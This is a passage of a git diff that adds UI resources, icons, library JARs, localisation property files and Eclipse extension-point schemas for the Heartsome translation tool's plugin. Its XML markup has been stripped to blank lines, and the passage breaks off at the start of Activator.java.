b/ts/net.heartsome.cat.ts.ui/images/help/check-update.png new file mode 100644 index 0000000..cc97544 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/help/check-update.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/help/help.png b/ts/net.heartsome.cat.ts.ui/images/help/help.png new file mode 100644 index 0000000..f685af7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/help/help.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/help/key.png b/ts/net.heartsome.cat.ts.ui/images/help/key.png new file mode 100644 index 0000000..fe0875f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/help/key.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/help/licence.png b/ts/net.heartsome.cat.ts.ui/images/help/licence.png new file mode 100644 index 0000000..42759af Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/help/licence.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/plug/readme b/ts/net.heartsome.cat.ts.ui/images/plug/readme new file mode 100644 index 0000000..bfa3949 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/images/plug/readme @@ -0,0 +1 @@ +所有图片在 net.heartsome.cat.ts.ui.plugin/icons 下 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/file/documents.png b/ts/net.heartsome.cat.ts.ui/images/preference/file/documents.png new file mode 100644 index 0000000..3d4bdb5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/file/documents.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/file/excel_16.png b/ts/net.heartsome.cat.ts.ui/images/preference/file/excel_16.png new file mode 100644 index 0000000..653bafd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/file/excel_16.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/file/framemaker_16.png b/ts/net.heartsome.cat.ts.ui/images/preference/file/framemaker_16.png new file mode 100644 index 0000000..def3d8d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/file/framemaker_16.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/file/powerpoint_16.png b/ts/net.heartsome.cat.ts.ui/images/preference/file/powerpoint_16.png new file mode 100644 index 0000000..3dea8b9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/file/powerpoint_16.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties.png b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties.png new file mode 100644 index 0000000..a0453e1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/attribute_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/attribute_32.png new file mode 100644 index 0000000..038b2c8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/attribute_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/field_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/field_32.png new file mode 100644 index 0000000..fea1594 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/projectProperties/field_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/qa/check-set.png b/ts/net.heartsome.cat.ts.ui/images/preference/qa/check-set.png new file mode 100644 index 0000000..5de3b29 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/qa/check-set.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/qa/fileAnalysis.png b/ts/net.heartsome.cat.ts.ui/images/preference/qa/fileAnalysis.png new file mode 100644 index 0000000..f3a104a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/qa/fileAnalysis.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/qa/not-trans-set.png b/ts/net.heartsome.cat.ts.ui/images/preference/qa/not-trans-set.png new file mode 100644 index 0000000..0672164 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/qa/not-trans-set.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/qa/qa.png b/ts/net.heartsome.cat.ts.ui/images/preference/qa/qa.png new file mode 100644 index 0000000..7c0569a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/qa/qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/color.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/color.png new file mode 100644 index 0000000..bac5a6e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/color.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-in.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-in.png new file mode 100644 index 0000000..4b3acf9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-in.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-spell.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-spell.png new file mode 100644 index 0000000..40a842d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/dictionary-spell.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/font.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/font.png new file mode 100644 index 0000000..e2850d7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/font.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/is-bidi.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/is-bidi.png new file mode 100644 index 0000000..d61c5c7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/is-bidi.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/keys.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/keys.png new file mode 100644 index 0000000..ad8b80c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/keys.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/language.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/language.png new file mode 100644 index 0000000..9fbe4f5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/language.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/network.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/network.png new file mode 100644 index 0000000..02a32d5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/network.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/no-pic.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/no-pic.png new file mode 100644 index 0000000..ea2ac97 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/no-pic.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_aspell_dic_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_aspell_dic_32.png new file mode 100644 index 0000000..7af5051 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_aspell_dic_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_in_dic_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_in_dic_32.png new file mode 100644 index 0000000..eb248e6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_in_dic_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_keys_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_keys_32.png new file mode 100644 index 0000000..9906d22 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_keys_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_32.png new file mode 100644 index 0000000..9e92ba1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_code_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_code_32.png new file mode 100644 index 0000000..9e92ba1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_language_code_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_update_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_update_32.png new file mode 100644 index 0000000..4f0ee01 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_update_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_user_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_user_32.png new file mode 100644 index 0000000..f9cee63 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/sys_user_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/system/system.png b/ts/net.heartsome.cat.ts.ui/images/preference/system/system.png new file mode 100644 index 0000000..4211f54 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/system/system.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/tb/tb-db.png b/ts/net.heartsome.cat.ts.ui/images/preference/tb/tb-db.png new file mode 100644 index 0000000..b168b19 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/tb/tb-db.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/tm/equal-parameter.png b/ts/net.heartsome.cat.ts.ui/images/preference/tm/equal-parameter.png new file mode 100644 index 0000000..48b881e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/tm/equal-parameter.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/tm/tm-db.png b/ts/net.heartsome.cat.ts.ui/images/preference/tm/tm-db.png new file mode 100644 index 0000000..8f441a9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/tm/tm-db.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/bing-translation.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/bing-translation.png new file mode 100644 index 0000000..3a6a270 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/bing-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/google-translation.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/google-translation.png new file mode 100644 index 0000000..f54dc6f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/google-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/pre-translation.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/pre-translation.png new file mode 100644 index 0000000..56645ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/pre-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_32.png new file mode 100644 index 0000000..860142d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_office_32.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_office_32.png new file mode 100644 index 0000000..19d3500 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/trans_office_32.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/preference/translate/translation.png b/ts/net.heartsome.cat.ts.ui/images/preference/translate/translation.png new file mode 100644 index 0000000..b996dec Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/preference/translate/translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/project/new-project-logo.png b/ts/net.heartsome.cat.ts.ui/images/project/new-project-logo.png new file mode 100644 index 0000000..e087517 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/project/new-project-logo.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/project/project_set.png b/ts/net.heartsome.cat.ts.ui/images/project/project_set.png new file mode 100644 index 0000000..5d65f93 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/project/project_set.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/qa/next-not-trans.png b/ts/net.heartsome.cat.ts.ui/images/qa/next-not-trans.png new file mode 100644 index 0000000..bf4ce08 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/qa/next-not-trans.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/qa/next-note.png b/ts/net.heartsome.cat.ts.ui/images/qa/next-note.png new file mode 100644 index 0000000..aff427d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/qa/next-note.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/qa/next-question.png b/ts/net.heartsome.cat.ts.ui/images/qa/next-question.png new file mode 100644 index 0000000..9e71e1c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/qa/next-question.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/qa/qa-batch.png b/ts/net.heartsome.cat.ts.ui/images/qa/qa-batch.png new file mode 100644 index 0000000..1ee8ac0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/qa/qa-batch.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-all.png b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-all.png new file mode 100644 index 0000000..4aafc53 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-all.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-text.png b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-text.png new file mode 100644 index 0000000..17f2015 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/accept-text.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/state/tm-state/tm-info.png b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/tm-info.png new file mode 100644 index 0000000..b50ab87 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/state/tm-state/tm-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/Nonprintting.png b/ts/net.heartsome.cat.ts.ui/images/tool/Nonprintting.png new file mode 100644 index 0000000..0653449 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/Nonprintting.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/horizontal.png b/ts/net.heartsome.cat.ts.ui/images/tool/horizontal.png new file mode 100644 index 0000000..1463de3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/horizontal.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/new.png b/ts/net.heartsome.cat.ts.ui/images/tool/new.png new file mode 100644 index 0000000..d483ea2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/new.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/readme b/ts/net.heartsome.cat.ts.ui/images/tool/readme new file mode 100644 index 0000000..aa36770 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/images/tool/readme @@ -0,0 +1 @@ +其他图片都在 net.heartsome.cat.ts.ui.xliffeditor.nattable/images/tool 下 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/redo.png b/ts/net.heartsome.cat.ts.ui/images/tool/redo.png new file mode 100644 index 0000000..5190f1a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/redo.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/save.png b/ts/net.heartsome.cat.ts.ui/images/tool/save.png new file mode 100644 index 0000000..0c76045 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/save.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/tool/undo.png b/ts/net.heartsome.cat.ts.ui/images/tool/undo.png new file mode 100644 index 0000000..9122a6f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/tool/undo.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/accept.png b/ts/net.heartsome.cat.ts.ui/images/view/accept.png new file mode 100644 index 0000000..507c748 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/accept.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/accepttext.png b/ts/net.heartsome.cat.ts.ui/images/view/accepttext.png new file mode 100644 index 0000000..d5ac422 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/accepttext.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/addmatchedterm.png b/ts/net.heartsome.cat.ts.ui/images/view/addmatchedterm.png new file mode 100644 index 0000000..9230ad5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/addmatchedterm.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/disabled_co.png b/ts/net.heartsome.cat.ts.ui/images/view/disabled_co.png new file mode 100644 index 0000000..c1e73ef Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/disabled_co.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/enabled_co.png b/ts/net.heartsome.cat.ts.ui/images/view/enabled_co.png new file mode 100644 index 0000000..8ebb528 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/enabled_co.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/horizontal.png b/ts/net.heartsome.cat.ts.ui/images/view/horizontal.png new file mode 100644 index 0000000..667f6a1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/horizontal.png differ diff --git a/ts/net.heartsome.cat.ts.ui/images/view/layout reagin.png b/ts/net.heartsome.cat.ts.ui/images/view/layout reagin.png new file mode 100644 index 0000000..696c68f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/images/view/layout reagin.png differ diff --git a/ts/net.heartsome.cat.ts.ui/introContent.xml b/ts/net.heartsome.cat.ts.ui/introContent.xml new file mode 100644 index 0000000..c5dff2d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/introContent.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/lib/datechooser-1.01.jar b/ts/net.heartsome.cat.ts.ui/lib/datechooser-1.01.jar new file mode 100644 index 0000000..21d634b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/lib/datechooser-1.01.jar differ diff --git a/ts/net.heartsome.cat.ts.ui/lib/jarettable-0.85.jar b/ts/net.heartsome.cat.ts.ui/lib/jarettable-0.85.jar new file mode 100644 index 0000000..ed2897b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/lib/jarettable-0.85.jar differ diff --git a/ts/net.heartsome.cat.ts.ui/lib/jaretutil-0.32.jar b/ts/net.heartsome.cat.ts.ui/lib/jaretutil-0.32.jar new file mode 100644 index 0000000..27e3089 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/lib/jaretutil-0.32.jar differ diff --git a/ts/net.heartsome.cat.ts.ui/plugin.properties b/ts/net.heartsome.cat.ts.ui/plugin.properties new file mode 100644 index 0000000..f793e56 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/plugin.properties @@ -0,0 +1,49 @@ +newWizard.project = \u9879\u76ee... +newWizard.project.description = \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7ffb\u8bd1\u9879\u76ee\u3002 +menu.file.new = \u65b0\u5efa +category.file.new = \u65b0\u5efa +command.newProject = \u9879\u76ee + +menu.project = \u9879\u76ee(&P) +menu.project.configure = \u9879\u76ee\u8bbe\u7f6e... +command.configure = \u9879\u76ee\u8bbe\u7f6e + +menu.view.resetPerspective = \u6062\u590d\u9ed8\u8ba4\u5e03\u5c40 +command.resetPerspective = \u6062\u590d\u9ed8\u8ba4\u5e03\u5c40 + +toolbar.changeLayout = \u6539\u53d8\u5e03\u5c40 +command.changeLayout = \u6539\u53d8\u5e03\u5c40 +category.toolbar = \u5de5\u5177\u680f + +popup.newFolder = \u6587\u4ef6\u5939... +command.newFolder = \u6587\u4ef6\u5939 + +toolbar.newProject = \u9879\u76ee +toolbar.newFolder = \u6587\u4ef6\u5939 + +popupMenu.mergeOpen = \u5408\u5e76\u6253\u5f00 +command.mergeOpen = \u5408\u5e76\u6253\u5f00 + +preferencePages.Keys = \u5feb\u6377\u952e +preferencePages.languagecode = \u8bed\u8a00\u7ba1\u7406 +preferencePages.colors = \u989c\u8272\u8bbe\u7f6e +preferencePages.system = \u7cfb\u7edf +preferencePages.translation = \u7ffb\u8bd1 +preferencePages.AspellDic = Aspell \u62fc\u5199\u68c0\u67e5\u5668 + +editors.html = HTML \u6d4f\u89c8\u5668 + +################### 2012-07-10 \u65b0\u589e\u5185\u5bb9 ############################## +menu.project.export = \u5bfc\u51fa\u9879\u76ee... +command.project.export = \u5bfc\u51fa\u9879\u76ee +menu.project.import = \u5bfc\u5165\u9879\u76ee... +command.project.import = \u5bfc\u5165\u9879\u76ee + +################### 2012-10-24 \u65b0\u589e\u5185\u5bb9 ############################## +menu.view.changeLayout = \u5207\u6362\u7f16\u8f91\u5668\u5e03\u5c40 + +################### 2012-11-23 \u65b0\u589e\u5185\u5bb9 ############################## +preferencePages.projectProperties = \u9879\u76ee\u5c5e\u6027 + +# add by jason 2013-04-09 +toolbar.showHidenNonPrintingCharacter = \u663e\u793a/\u9690\u85cf\u975e\u6253\u5370\u5b57\u7b26 diff --git a/ts/net.heartsome.cat.ts.ui/plugin.xml b/ts/net.heartsome.cat.ts.ui/plugin.xml new file mode 100644 index 0000000..9893b3f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/plugin.xml @@ -0,0 +1,541 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + %newWizard.project.description + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/plugin_customization.ini b/ts/net.heartsome.cat.ts.ui/plugin_customization.ini new file mode 100644 index 0000000..8b76860 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/plugin_customization.ini @@ -0,0 +1,2 @@ +org.eclipse.ui/DOCK_PERSPECTIVE_BAR=topRight +org.eclipse.ui/SHOW_TRADITIONAL_STYLE_TABS=false diff --git a/ts/net.heartsome.cat.ts.ui/plugin_en.properties b/ts/net.heartsome.cat.ts.ui/plugin_en.properties new file mode 100644 index 0000000..f028186 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/plugin_en.properties @@ -0,0 +1,50 @@ +newWizard.project = Project... +newWizard.project.description = Create a new translation project. +menu.file.new = New +category.file.new = New +command.newProject = Project + +menu.project = &Project +menu.project.configure = Project Settings... +command.configure = Project Settings + +menu.view.resetPerspective = Restore Default Layout +command.resetPerspective = Restore Default Layout + +toolbar.changeLayout = Change Layout +command.changeLayout = Change Layout +category.toolbar = Toolbar + +popup.newFolder = Folder... +command.newFolder = Folder + +toolbar.newProject = Project +toolbar.newFolder = Folder + +popupMenu.mergeOpen = Open in One Tab +command.mergeOpen = Open in One Tab + +preferencePages.Keys = Shortcuts +preferencePages.languagecode = Language Management +preferencePages.colors = Color Settings +preferencePages.system = System +preferencePages.translation = Translation +preferencePages.AspellDic = Aspell Spell Checker +preferencePages.netconnection = Network Connections + +editors.html = HTML browser + +################### 2012-07-10 \u65b0\u589e\u5185\u5bb9 ############################## +menu.project.export = Export Project... +command.project.export = Export Project +menu.project.import = Import Project... +command.project.import = Import Project + +################### 2012-10-24 \u65b0\u589e\u5185\u5bb9 ############################## +menu.view.changeLayout = Switch Editor Layout + +################### 2012-11-23 \u65b0\u589e\u5185\u5bb9 ############################## +preferencePages.projectProperties = Project Properties + +# add by jason 2013-04-09 +toolbar.showHidenNonPrintingCharacter = \u663e\u793a/\u9690\u85cf\u975e\u6253\u5370\u5b57\u7b26 diff --git a/ts/net.heartsome.cat.ts.ui/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui/plugin_zh.properties new file mode 100644 index 0000000..f6d03e2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/plugin_zh.properties @@ -0,0 +1,50 @@ +newWizard.project = \u9879\u76ee... +newWizard.project.description = \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7ffb\u8bd1\u9879\u76ee\u3002 +menu.file.new = \u65b0\u5efa +category.file.new = \u65b0\u5efa +command.newProject = \u9879\u76ee + +menu.project = \u9879\u76ee(&P) +menu.project.configure = \u9879\u76ee\u8bbe\u7f6e... +command.configure = \u9879\u76ee\u8bbe\u7f6e + +menu.view.resetPerspective = \u6062\u590d\u9ed8\u8ba4\u5e03\u5c40 +command.resetPerspective = \u6062\u590d\u9ed8\u8ba4\u5e03\u5c40 + +toolbar.changeLayout = \u6539\u53d8\u5e03\u5c40 +command.changeLayout = \u6539\u53d8\u5e03\u5c40 +category.toolbar = \u5de5\u5177\u680f + +popup.newFolder = \u6587\u4ef6\u5939... +command.newFolder = \u6587\u4ef6\u5939 + +toolbar.newProject = \u9879\u76ee +toolbar.newFolder = \u6587\u4ef6\u5939 + +popupMenu.mergeOpen = \u5408\u5e76\u6253\u5f00 +command.mergeOpen = \u5408\u5e76\u6253\u5f00 + +preferencePages.Keys = \u5feb\u6377\u952e +preferencePages.languagecode = \u8bed\u8a00\u7ba1\u7406 +preferencePages.colors = \u989c\u8272\u8bbe\u7f6e +preferencePages.system = \u7cfb\u7edf +preferencePages.translation = \u7ffb\u8bd1 +preferencePages.AspellDic = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +preferencePages.netconnection = \u7f51\u7edc\u8fde\u63a5 + +editors.html = HTML \u6d4f\u89c8\u5668 + +################### 2012-07-10 \u65b0\u589e\u5185\u5bb9 ############################## +menu.project.export = \u5bfc\u51fa\u9879\u76ee... +command.project.export = \u5bfc\u51fa\u9879\u76ee +menu.project.import = \u5bfc\u5165\u9879\u76ee... +command.project.import = \u5bfc\u5165\u9879\u76ee + +################### 2012-10-24 \u65b0\u589e\u5185\u5bb9 ############################## +menu.view.changeLayout = \u5207\u6362\u7f16\u8f91\u5668\u5e03\u5c40 + +################### 2012-11-23 \u65b0\u589e\u5185\u5bb9 ############################## +preferencePages.projectProperties = \u9879\u76ee\u5c5e\u6027 + +# add by jason 2013-04-09 +toolbar.showHidenNonPrintingCharacter = \u663e\u793a/\u9690\u85cf\u975e\u6253\u5370\u5b57\u7b26 diff --git a/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extension.converter.exsd b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extension.converter.exsd new file mode 100644 index 0000000..e35910d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extension.converter.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.newproject.exsd b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.newproject.exsd new file mode 100644 index 0000000..a78a520 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.newproject.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.projectsetting.exsd b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.projectsetting.exsd new file mode 100644 index 0000000..3babc38 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/schema/net.heartsome.cat.ts.ui.extensionpoint.projectsetting.exsd @@ -0,0 +1,109 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 页é¢åœ¨å·¦ä¾§æ ‘中路径,å‚考PreferenceDialog的应用 + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/splash.bmp b/ts/net.heartsome.cat.ts.ui/splash.bmp new file mode 100644 index 0000000..d7d2e30 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui/splash.bmp differ diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Activator.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Activator.java new file mode 100644 index 0000000..1b0ab3a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Activator.java @@ -0,0 +1,114 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui; + +import 